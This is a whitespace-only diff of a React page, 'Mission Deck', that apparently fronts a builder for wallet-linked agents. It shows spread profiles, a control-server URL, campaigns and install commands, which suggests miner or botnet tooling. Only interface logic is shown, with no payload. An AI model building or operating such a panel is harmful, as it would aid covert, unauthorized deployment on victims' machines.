const [missionCampaign, setMissionCampaign] = useState('mission-deck'); + + const [missionStep, setMissionStep] = useState(null); + + const [missionBusy, setMissionBusy] = useState(false); + + const [missionExportSkipped, setMissionExportSkipped] = useState(false); + + const [missionComplete, setMissionComplete] = useState(false); + + const [building, setBuilding] = useState(false); + + const [dispenseReveal, setDispenseReveal] = useState(null); + + const [equipFlash, setEquipFlash] = useState(false); + useModalAmbientDuck(missionComplete); - - - const selectedChipDef = MISSION_OPERATION_CHIPS.find((c) => c.id === operationChip) ?? MISSION_OPERATION_CHIPS[0]; - + const selectedChipDef = MISSION_OPERATION_CHIPS.find((c) => c.id === operationChip) ?? MISSION_OPERATION_CHIPS[0]; + const selectedProfileDef = spreadProfile ? SPREAD_PROFILES.find((p) => p.id === spreadProfile) : null; - - - const skinClass = [ - - 'page fade-in command-deck mission-deck operator-deck-page', - - forgeSkinClassName(resolveForgeSkin(operationMode, loadStoredForgeTheme())), - - missionBusy ? 'mission-deck--equipping' : '', - - equipFlash ? 'mission-deck--equip-flash' : '', - - ] - - .filter(Boolean) - + const skinClass = [ + + 'page fade-in command-deck mission-deck operator-deck-page', + + forgeSkinClassName(resolveForgeSkin(operationMode, loadStoredForgeTheme())), + + missionBusy ? 'mission-deck--equipping' : '', + + equipFlash ? 'mission-deck--equip-flash' : '', + + ] + + .filter(Boolean) + .join(' '); - - - useEffect(() => { - - Promise.all([ - - api.getConfig(), - - api.getServerInfo().catch(() => null), - - api.listBuilds().catch(() => []), - - ]) - - .then(([config, info, builds]) => { - - if (info) { - - setServerInfo(info); - - setListenPort(config.port || info.port || 8989); - - } else { - - setListenPort(config.port || 8989); - - } - - const candidates = info ? lanEndpointCandidates(info, config.port || info?.port) : []; - - const buildList = builds as BuildRecord[]; - - const base = defaultsFromConfig( - - config, - - info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, - - buildList, - - ); - - const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }); - - const storedMode = loadStoredOperationMode(); - - setForm(applyOperationMode(withDefaults, storedMode)); - - setOperationChip(missionChipForMode(storedMode)); - - }) - - .catch(() => setError('Failed to load server config — is the control server running?')) - - .finally(() => setLoadingDefaults(false)); - + useEffect(() => { + + Promise.all([ + + api.getConfig(), + + api.getServerInfo().catch(() => null), + + api.listBuilds().catch(() => []), + + ]) + + .then(([config, info, builds]) => { + + if (info) { + + setServerInfo(info); + + setListenPort(config.port || info.port || 8989); + + } else { + + setListenPort(config.port || 8989); + + } + + const candidates = info ? lanEndpointCandidates(info, config.port || info?.port) : []; + + const buildList = builds as BuildRecord[]; + + const base = defaultsFromConfig( + + config, + + info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, + + buildList, + + ); + + const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }); + + const storedMode = loadStoredOperationMode(); + + setForm(applyOperationMode(withDefaults, storedMode)); + + setOperationChip(missionChipForMode(storedMode)); + + }) + + .catch(() => setError('Failed to load server config — is the control server running?')) + + .finally(() => setLoadingDefaults(false)); + }, []); - - - useEffect(() => { - - if (!building) { - - endForge(); - - if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); - - return; - - } - - const startMs = Date.now(); - - startForge(); - - let stageIdx = 0; - - const advance = () => { - - const elapsed = Date.now() - startMs; - - let next = 0; - - for (let i = 0; i < FORGE_STAGES.length; i++) { - - if (elapsed >= FORGE_STAGES[i].minMs) next = i; - - else break; - - } - - const s = FORGE_STAGES[next]; - - const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP; - - const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000; - - const stageElapsed = elapsed - s.minMs; - - const stageDur = nextMs - s.minMs; - - const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0; - - const pct = s.pct + (nextPct - s.pct) * frac; - - if (next !== stageIdx) stageIdx = next; - - setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct)); - - forgeStageTimerRef.current = setTimeout(advance, 250); - - }; - - advance(); - - return () => { - - if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); - - }; - - // eslint-disable-next-line react-hooks/exhaustive-deps - + useEffect(() => { + + if (!building) { + + endForge(); + + if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); + + return; + + } + + const startMs = Date.now(); + + startForge(); + + let stageIdx = 0; + + const advance = () => { + + const elapsed = Date.now() - startMs; + + let next = 0; + + for (let i = 0; i < FORGE_STAGES.length; i++) { + + if (elapsed >= FORGE_STAGES[i].minMs) next = i; + + else break; + + } + + const s = FORGE_STAGES[next]; + + const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP; + + const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000; + + const stageElapsed = elapsed - s.minMs; + + const stageDur = nextMs - s.minMs; + + const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0; + + const pct = s.pct + (nextPct - s.pct) * frac; + + if (next !== stageIdx) stageIdx = next; + + setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct)); + + forgeStageTimerRef.current = setTimeout(advance, 250); + + }; + + advance(); + + return () => { + + if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); + + }; + + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [building]); - - - useEffect(() => { - - return () => { - - const tok = cancelTokenRef.current; - - if (tok) api.cancelBuild(tok).catch(() => {}); - - }; - + useEffect(() => { + + return () => { + + const tok = cancelTokenRef.current; + + if (tok) api.cancelBuild(tok).catch(() => {}); + + }; + }, []); - - - const endpointCandidates = useMemo( - - () => (serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []), - - [serverInfo, listenPort], - + const endpointCandidates = useMemo( + + () => (serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []), + + [serverInfo, listenPort], + ); - - - const preflightChecks = form ? runForgePreflight(form, false) : []; - + const preflightChecks = form ? runForgePreflight(form, false) : []; + const canLaunch = form ? !preflightHasErrors(preflightChecks) : false; - - - const updateField = (key: keyof BuildRequest, value: unknown) => { - - setForm((prev) => (prev ? applyForgeFieldUpdate(prev, key, value) : prev)); - + const updateField = (key: keyof BuildRequest, value: unknown) => { + + setForm((prev) => (prev ? applyForgeFieldUpdate(prev, key, value) : prev)); + }; - - - const selectOperationChip = (chip: MissionOperationChip) => { - - const modeId = operationModeForChip(chip); - - setOperationChip(chip); - - setOperationMode(modeId); - - storeOperationMode(modeId); - - setForm((prev) => (prev ? applyOperationMode(prev, modeId) : prev)); - + const selectOperationChip = (chip: MissionOperationChip) => { + + const modeId = operationModeForChip(chip); + + setOperationChip(chip); + + setOperationMode(modeId); + + storeOperationMode(modeId); + + setForm((prev) => (prev ? applyOperationMode(prev, modeId) : prev)); + }; - - - const selectSpreadProfile = (id: SpreadProfileId | '') => { - - setSpreadProfile(id); - - if (id) { - - setForm((prev) => (prev ? applySpreadProfile(prev, id) : prev)); - - } - + const selectSpreadProfile = (id: SpreadProfileId | '') => { + + setSpreadProfile(id); + + if (id) { + + setForm((prev) => (prev ? applySpreadProfile(prev, id) : prev)); + + } + }; - - - const finishForgeSuccess = async (result: BuildResponse) => { - - setStage('Build complete!', 100); - - setDispenseReveal(result); - + const finishForgeSuccess = async (result: BuildResponse) => { + + setStage('Build complete!', 100); + + setDispenseReveal(result); + }; - - - const handleKillBuild = useCallback(async () => { - - const tok = cancelTokenRef.current; - - if (tok) { - - try { - - await api.cancelBuild(tok); - - } catch { - - /* ignore */ - - } - - } - - setBuilding(false); - + const handleKillBuild = useCallback(async () => { + + const tok = cancelTokenRef.current; + + if (tok) { + + try { + + await api.cancelBuild(tok); + + } catch { + + /* ignore */ + + } + + } + + setBuilding(false); + }, []); - - - const handleEquipAndStrike = async () => { - - if (!form) return; - - setError(''); - - setMissionComplete(false); - - setMissionExportSkipped(false); - - setEquipFlash(true); - + const handleEquipAndStrike = async () => { + + if (!form) return; + + setError(''); + + setMissionComplete(false); + + setMissionExportSkipped(false); + + setEquipFlash(true); + setTimeout(() => setEquipFlash(false), 900); - - - const normalized = applyMissionPresets(form, operationMode, spreadProfile); - + const normalized = applyMissionPresets(form, operationMode, spreadProfile); + setForm(normalized); - - - const checks = runForgePreflight(normalized, false); - - if (preflightHasErrors(checks)) { - - setError('Blocked — fix wallet or control URL errors before forging.'); - - return; - + const checks = runForgePreflight(normalized, false); + + if (preflightHasErrors(checks)) { + + setError('Blocked — fix wallet or control URL errors before forging.'); + + return; + } - - - const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, ''); - - const cancelToken = crypto.randomUUID(); - - cancelTokenRef.current = cancelToken; - - setMissionBusy(true); - - setMissionStep('configure'); - + const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, ''); + + const cancelToken = crypto.randomUUID(); + + cancelTokenRef.current = cancelToken; + + setMissionBusy(true); + + setMissionStep('configure'); + setBuilding(true); - - - try { - - const result = await runForgeMission({ - - form: normalized, - - operationMode, - - spreadProfile, - - campaign: missionCampaign, - - serverBase, - - api, - - cancelToken, - - onStep: (step) => { - - setMissionStep(step); - - if (step === 'forge') startForge(); - - }, - - }); - - setMissionExportSkipped(result.exportSkipped); - - setMissionComplete(true); - - await finishForgeSuccess(result.build); - - } catch (err: unknown) { - - const msg = err instanceof Error ? err.message : 'Mission failed'; - - if (msg !== 'build cancelled') { - - setMissionStep('error'); - - setError(msg); - - } - - } finally { - - cancelTokenRef.current = ''; - - setMissionBusy(false); - - setBuilding(false); - - } - + try { + + const result = await runForgeMission({ + + form: normalized, + + operationMode, + + spreadProfile, + + campaign: missionCampaign, + + serverBase, + + api, + + cancelToken, + + onStep: (step) => { + + setMissionStep(step); + + if (step === 'forge') startForge(); + + }, + + }); + + setMissionExportSkipped(result.exportSkipped); + + setMissionComplete(true); + + await finishForgeSuccess(result.build); + + } catch (err: unknown) { + + const msg = err instanceof Error ? err.message : 'Mission failed'; + + if (msg !== 'build cancelled') { + + setMissionStep('error'); + + setError(msg); + + } + + } finally { + + cancelTokenRef.current = ''; + + setMissionBusy(false); + + setBuilding(false); + + } + }; - - - if (loadingDefaults) { - - return ( - -
- -
- -
- -

FAST PATH

- -

Mission Deck

- -
- -
- -

Loading loadout defaults…

- -
- - ); - + if (loadingDefaults) { + + return ( + +
+ +
+ +
+ +

FAST PATH

+ +

Mission Deck

+ +
+ +
+ +

Loading loadout defaults…

+ +
+ + ); + } - - - if (!form) { - - return ( - -
- -
- -
- -

FAST PATH

- -

Mission Deck

- -
- -
- -

{error || 'Failed to load loadout defaults.'}

- -
- - ); - + if (!form) { + + return ( + +
+ +
+ +
+ +

FAST PATH

+ +

Mission Deck

+ +
+ +
+ +

{error || 'Failed to load loadout defaults.'}

+ +
+ + ); + } - - - return ( - -
- -
- -
- -

FAST PATH

- -

- Mission Deck -

- -

- - Pick a preset loadout and forge once — without the full Forge form. Install commands are on Builds when you are done. - -

- -

- - Forge - - {' — every build option · '} - - Emberwake - - {' — track campaigns · '} - - Builds - - {' — pinned install commands · '} - - - - Field guide - - - -

- -
- -
- - - - Full Forge - - - - - - Emberwake - - - - - - Builds - - - -
- + return ( + +
+ +
+ +
+ +

FAST PATH

+ +

+ Mission Deck +

+ +

+ + Pick a preset loadout and forge once — without the full Forge form. Install commands are on Builds when you are done. + +

+ +

+ + Forge + + {' — every build option · '} + + Emberwake + + {' — track campaigns · '} + + Builds + + {' — pinned install commands · '} + + + + Field guide + + + +

+ +
+ +
+ + + + Full Forge + + + + + + Emberwake + + + + + + Builds + + + +
+
- - - - -
- -